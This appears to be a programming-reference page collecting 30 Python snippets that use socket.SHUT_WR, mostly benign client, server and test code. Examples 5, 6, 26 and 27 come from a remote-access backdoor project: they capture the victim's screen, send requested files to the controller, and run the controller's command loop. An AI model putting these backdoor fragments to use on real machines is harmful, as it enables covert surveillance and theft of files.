Python socket.SHUT_WR Examples

The following are 30 code examples for showing how to use socket.SHUT_WR(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module socket , or try the search function .

Example 1
Project: Pyro5   Author: irmen   File: test_socketutil.py    License: MIT License 6 votes vote down vote up
def testSendUnix(self):
        if not hasattr(socket, "AF_UNIX"):
            pytest.skip("no unix domain sockets capability")
        SOCKNAME = "test_unixsocket"
        if os.path.exists(SOCKNAME):
            os.remove(SOCKNAME)
        ss = socketutil.create_socket(bind=SOCKNAME)
        cs = socketutil.create_socket(connect=SOCKNAME)
        socketutil.send_data(cs, b"foobar!" * 10)
        cs.shutdown(socket.SHUT_WR)
        a = ss.accept()
        data = socketutil.receive_data(a[0], 5)
        assert b"fooba" == data
        data = socketutil.receive_data(a[0], 5)
        assert b"r!foo" == data
        a[0].close()
        ss.close()
        cs.close()
        if os.path.exists(SOCKNAME):
            os.remove(SOCKNAME) 
Example 2
Project: program.plexus   Author: tvaddonsco   File: acecore.py    License: GNU General Public License v2.0 6 votes vote down vote up
def end(self):
        self.active=False
        comm='SHUTDOWN'
        if self.conn:self.TSpush(comm)
        self.log.out("Ending")
        try: self._sock.shutdown(socket.SHUT_WR)
        except: pass
        if self.tsserv: self.tsserv.active=False
        if self.tsserv: self.tsserv.join()
        self.log.out("end thread")
        self._sock.close()
        self.log.out("socket closed")
        if self.progress:self.progress.close()

        if settings.getSetting('engine-status') == "true": 
            try:lat123._close()
            except:pass 
        
        if self.canceled: stop_aceengine() 
Example 3
Project: PyDev.Debugger   Author: fabioz   File: debugger_unittest.py    License: Eclipse Public License 1.0 6 votes vote down vote up
def _set_socket(self, new_socket):
        curr_socket = getattr(self, 'sock', None)
        if curr_socket:
            try:
                curr_socket.shutdown(socket.SHUT_WR)
            except:
                pass
            try:
                curr_socket.close()
            except:
                pass

        reader_thread = self.reader_thread = ReaderThread(new_socket)
        self.sock = new_socket
        reader_thread.start()

        # initial command is always the version
        self.write_version()
        self.log.append('start_socket')
        self.finished_initialization = True 
Example 4
Project: program.plexus   Author: enen92   File: acecore.py    License: GNU General Public License v2.0 6 votes vote down vote up
def end(self):
        self.active=False
        comm='SHUTDOWN'
        if self.conn:self.TSpush(comm)
        self.log.out("Ending")
        try: self._sock.shutdown(socket.SHUT_WR)
        except: pass
        if self.tsserv: self.tsserv.active=False
        if self.tsserv: self.tsserv.join()
        self.log.out("end thread")
        self._sock.close()
        self.log.out("socket closed")
        if self.progress:self.progress.close()

        if settings.getSetting('engine-status') == "true": 
            try:lat123._close()
            except:pass 
        
        if self.canceled: stop_aceengine() 
Example 5
Project: RSB-Framework   Author: tarcisio-marinho   File: backdoor.py    License: GNU General Public License v3.0 6 votes vote down vote up
def screenshot(s):
    name = tempdir + '/screenshot'+str(random.randint(0,1000000)) + '.png'
    if(os.name == 'posix'): # se for unix-like
        img = pyscreenshot.grab()
        img.save(name)
    elif(os.name == 'nt'): # se for windows
        img = ImageGrab.grab()
        img.save(name)

    with open(name ,'rb') as f: 
        l = f.read(1024)
        l = name + '+/-' + l
        while(l):
            s.send(l)
            l = f.read(1024)

    print('sent')
    s.shutdown(socket.SHUT_WR)
    os.remove(name) 
Example 6
Project: RSB-Framework   Author: tarcisio-marinho   File: backdoor.py    License: GNU General Public License v3.0 6 votes vote down vote up
def download(s):
    filename = s.recv(1024)
    print(filename)
    if(os.path.isfile(filename)):
        with open(filename, 'rb') as f: 
            l = f.read(1024)
            l = 'True+/-' + l
            while(l):
                s.send(l)
                l = f.read(1024)

        print('sent')
        s.shutdown(s.SHUT_WR)

    else:
        s.send('False') 
Example 7
Project: Fluid-Designer   Author: Microvellum   File: selector_events.py    License: GNU General Public License v3.0 6 votes vote down vote up
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
Example 8
Project: Learning-Python-Networking-Second-Edition   Author: PacktPublishing   File: tcp_client_selectors.py    License: MIT License 6 votes vote down vote up
def service_connection(key, mask):
    sock = key.fileobj
    data = key.data
    if mask & selectors.EVENT_READ:
        recv_data = sock.recv(BUFFER_SIZE)
        if recv_data:
            print('Received {} from connection {}'.format(repr(recv_data), data.connid))
            data.recv_total += len(recv_data)
        if not recv_data or data.recv_total == data.msg_total:
            print('Closing connection', data.connid)
            selector.unregister(sock)
            sock.close()
    if mask & selectors.EVENT_WRITE:
        if not data.outb and data.messages:
            data.outb = data.messages.pop(0).encode()
        if data.outb:
            print('Sending {} to connection {}'.format(repr(data.outb), data.connid))
            sent = sock.send(data.outb)
            sock.shutdown(socket.SHUT_WR)
            data.outb = data.outb[sent:] 
Example 9
Project: ironpython3   Author: IronLanguages   File: selector_events.py    License: Apache License 2.0 6 votes vote down vote up
def _write_ready(self):
        assert self._buffer, 'Data should not be empty'

        try:
            n = self._sock.send(self._buffer)
        except (BlockingIOError, InterruptedError):
            pass
        except Exception as exc:
            self._loop.remove_writer(self._sock_fd)
            self._buffer.clear()
            self._fatal_error(exc, 'Fatal write error on socket transport')
        else:
            if n:
                del self._buffer[:n]
            self._maybe_resume_protocol()  # May append to buffer.
            if not self._buffer:
                self._loop.remove_writer(self._sock_fd)
                if self._closing:
                    self._call_connection_lost(None)
                elif self._eof:
                    self._sock.shutdown(socket.SHUT_WR) 
Example 10
Project: wsproto   Author: python-hyper   File: synchronous_server.py    License: MIT License 6 votes vote down vote up
def main() -> None:
    """Run the server."""
    try:
        ip = sys.argv[1]
        port = int(sys.argv[2])
    except (IndexError, ValueError):
        print("Usage: {} <BIND_IP> <PORT>".format(sys.argv[0]))
        sys.exit(1)

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((ip, port))
    server.listen(0)

    try:
        while True:
            print("Waiting for connection...")
            (stream, addr) = server.accept()
            print("Client connected: {}:{}".format(addr[0], addr[1]))
            handle_connection(stream)
            stream.shutdown(socket.SHUT_WR)
            stream.close()
    except KeyboardInterrupt:
        print("Received SIGINT: shutting down…") 
Example 11
Project: verge3d-blender-addon   Author: Soft8Soft   File: socketserver.py    License: GNU General Public License v3.0 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 12
Project: misp42splunk   Author: remg427   File: socketserver.py    License: GNU Lesser General Public License v3.0 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 13
Project: misp42splunk   Author: remg427   File: socketserver.py    License: GNU Lesser General Public License v3.0 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 14
Project: python-gvm   Author: greenbone   File: connections.py    License: GNU General Public License v3.0 5 votes vote down vote up
def finish_send(self):
        """Indicate to the remote server you are done with sending data
        """
        # shutdown socket for sending. only allow reading data afterwards
        self._socket.shutdown(socketlib.SHUT_WR) 
Example 15
Project: python-gvm   Author: greenbone   File: connections.py    License: GNU General Public License v3.0 5 votes vote down vote up
def finish_send(self):
        # shutdown socket for sending. only allow reading data afterwards
        self._stdout.channel.shutdown(socketlib.SHUT_WR) 
Example 16
Project: Pyro5   Author: irmen   File: test_socketutil.py    License: MIT License 5 votes vote down vote up
def testSend(self):
        ss = socketutil.create_socket(bind=("localhost", 0))
        port = ss.getsockname()[1]
        cs = socketutil.create_socket(connect=("localhost", port))
        socketutil.send_data(cs, b"foobar!" * 10)
        cs.shutdown(socket.SHUT_WR)
        a = ss.accept()
        data = socketutil.receive_data(a[0], 5)
        assert b"fooba" == data
        data = socketutil.receive_data(a[0], 5)
        assert b"r!foo" == data
        a[0].close()
        ss.close()
        cs.close() 
Example 17
Project: meddle   Author: glmcdona   File: SocketServer.py    License: MIT License 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 18
Project: ironpython2   Author: IronLanguages   File: SocketServer.py    License: Apache License 2.0 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 19
Project: zabbix_tool   Author: BrianGallew   File: python_zabbix_assistant.py    License: MIT License 5 votes vote down vote up
def send(self):
        '''Ship the data to Zabbix.  Call as often as you like, though of course
        it's more efficient to call it just once after you've accumulated
        all of the data you'd like to send.

        The magic in here with structs is required to format everything for
        Zabbix' wire protocol.  If this breaks, it's time to dive into the
        Zabbix internals again.

        '''
        self.lock.acquire()
        if not self.data:
            self.lock.release()
            return # Nothing to send!
        if not self.no_send:
            response = {"request":"agent data", "clock":int(time.time()), "data":self.data}
            string = json.dumps(response)
            logging.debug(string)
            string_to_send = 'ZBXD\x01%s%s' % (struct.pack('<q', len(string)), string)
            s = socket.create_connection((self.zabbixserver, 10051))
            s.sendall(string_to_send)
            s.shutdown(socket.SHUT_WR)
            try:
                retstring = s.recv(5)   # Header, don't care: 'ZBXD\01'
                datalen = struct.unpack('<q',s.recv(8))[0] # Length of data being returned
                retstring = s.recv(datalen)               # Actual return string
                logging.debug(retstring)
            except Exception as e:
                logging.debug('ZAS.send: Failed to get a proper response: %s (%s)', retstring, e)
        self.clear()
        self.lock.release()
        return 
Example 20
Project: Verum   Author: vz-risk   File: cymru_api.py    License: Apache License 2.0 5 votes vote down vote up
def _send_query(self, query):
        self.__socket.sendall(query)
        self.__socket.shutdown(socket.SHUT_WR)
        response = ''
        while True:
            r = self.__socket.recv(16)
            if r and r != '':
                response = ''.join((response, r))
            else:
                break
        return response 
Example 21
Project: BinderFilter   Author: dxwu   File: SocketServer.py    License: MIT License 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 22
Project: igcollect   Author: innogames   File: zookeeper.py    License: MIT License 5 votes vote down vote up
def netcat(hostname, port, content):
    mntr = ''
    conn = socket(AF_INET, SOCK_STREAM)
    conn.connect((hostname, port))
    conn.sendall(content)
    conn.shutdown(SHUT_WR)
    while True:
        data = conn.recv(1024)
        if data == '':
            break
        mntr += data
    conn.close()
    return mntr 
Example 23
Project: oss-ftp   Author: aliyun   File: SocketServer.py    License: MIT License 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 24
Project: rankedftw   Author: andersroos   File: client.py    License: GNU Affero General Public License v3.0 5 votes vote down vote up
def request_tcp(host, port, message, timeout=5.0):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        sock.send(message)
        sock.send(b'\n')
        sock.shutdown(socket.SHUT_WR)
        sock.settimeout(timeout)
        string = b''
        while True:
            data = sock.recv(65535)
            if not len(data):
                break
            string = string + data
        return string 
Example 25
Project: deepWordBug   Author: QData   File: socketserver.py    License: Apache License 2.0 5 votes vote down vote up
def shutdown_request(self, request):
        """Called to shutdown and close an individual request."""
        try:
            #explicitly shutdown.  socket.close() merely releases
            #the socket and waits for GC to perform the actual close.
            request.shutdown(socket.SHUT_WR)
        except socket.error:
            pass #some platforms may raise ENOTCONN here
        self.close_request(request) 
Example 26
Project: RSB-Framework   Author: tarcisio-marinho   File: server.py    License: GNU General Public License v3.0 5 votes vote down vote up
def upload(s, filepath=False):
    if(not filepath):
        command = subprocess.Popen('zenity --file-selection --title choose a file', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        ret = command.stdout.read()     
        filename = os.path.basename(ret)    
        ret = ret.replace('\n','')
        arq_path = ret.replace(" ", r"\ ").replace(" (", r" \("). replace(")", r"\)")
        if(os.path.isfile(ret)):
            s.send('1') # upload
            print('Enviando arquivo: '+ filename)
            try:
                f = open(arq_path, 'rb')
            except IOError:
                f = open(ret, 'rb')
            ler = f.read(1024)
            l = str(filename) + '+/-' + ler
            while(l):
                s.send(l)
                l = f.read(1024)
            f.close()
            print('Envio completo ...')
            s.shutdown(socket.SHUT_WR)
        else:
            print('Arquivo inválido ou não é arquivo')
            return
    else:
        pass 
Example 27
Project: RSB-Framework   Author: tarcisio-marinho   File: server.py    License: GNU General Public License v3.0 5 votes vote down vote up
def connect(ip, port):
    send = False
    
    while True:
        socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket_obj.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
        socket_obj.bind((ip, port))
        socket_obj.listen(1) 
        
        if(not send):
            print('{0}[+] Aguardando conexões...'.format(GREEN))
        try:
    	    connection, address = socket_obj.accept()
        except KeyboardInterrupt:
            exit()
            
        retrn = connection.recv(1024)
        if(send == False):
            print(retrn)
        while True:
            try:
                try:
                    command = input('\033[0m-> ')
                except KeyboardInterrupt:
                    sys.exit()
                parser(command, connection)
            except socket.error as e: # socket.shutdown(socket.SHUT_WR)
                print(str(e))
                send = True
                break 
Example 28
Project: bbj   Author: bbj-dev   File: network.py    License: MIT License 5 votes vote down vote up
def request(self, method, **params):
        params["method"] = method

        if not params.get("user") and self.username:
            params["user"] = self.username

        if not params.get("auth_hash") and self.auth_hash:
            params["auth_hash"] = self.auth_hash


        connection = socket.create_connection((self.host, self.port))
        connection.sendall(bytes(json.dumps(params), "utf8"))
        connection.shutdown(socket.SHUT_WR)

        try:
            buff, length = bytes(), 1
            while length != 0:
                recv = connection.recv(2048)
                length = len(recv)
                buff += recv

        finally:
            connection.close()

        response = json.loads(str(buff, "utf8"))
        if not isinstance(response, dict):
            return response

        error = response.get("error")
        if not error:
            return response

        code, desc = error["code"], error["description"]

        # tfw no qt3.14 python case switches
        if error in (0, 1):
            raise ChildProcessError("internal server error: " + desc)
        elif error in (2, 3):
            raise ChildProcessError(desc)

        return response 
Example 29
Project: bbj   Author: bbj-dev   File: network_client.py    License: MIT License 5 votes vote down vote up
def request(self, method, **params):
        params["method"] = method

        if not params.get("user") and self.username:
            params["user"] = self.username

        if not params.get("auth_hash") and self.auth_hash:
            params["auth_hash"] = self.auth_hash


        connection = socket.create_connection((self.host, self.port))
        connection.sendall(bytes(json.dumps(params), "utf8"))
        connection.shutdown(socket.SHUT_WR)

        try:
            buff, length = bytes(), 1
            while length != 0:
                recv = connection.recv(2048)
                length = len(recv)
                buff += recv

        finally:
            connection.close()

        response = json.loads(str(buff, "utf8"))
        if not isinstance(response, dict):
            return response

        error = response.get("error")
        if not error:
            return response

        code, desc = error["code"], error["description"]

        # tfw no qt3.14 python case switches
        if error in (0, 1):
            raise ChildProcessError("internal server error: " + desc)
        elif error in (2, 3):
            raise ChildProcessError(desc)

        return response 
Example 30
Project: HTTPWookiee   Author: regilero   File: client.py    License: GNU General Public License v3.0 5 votes vote down vote up
def close_sending(self):
        """First closing step, cut the sending part of the socket."""
        try:
            outmsg('# closing client connection send canal '
                   '(can still receive).')
            self._sock.shutdown(socket.SHUT_WR)
        except OSError:
            raise ClosedSocketError('closed socket detected on send close')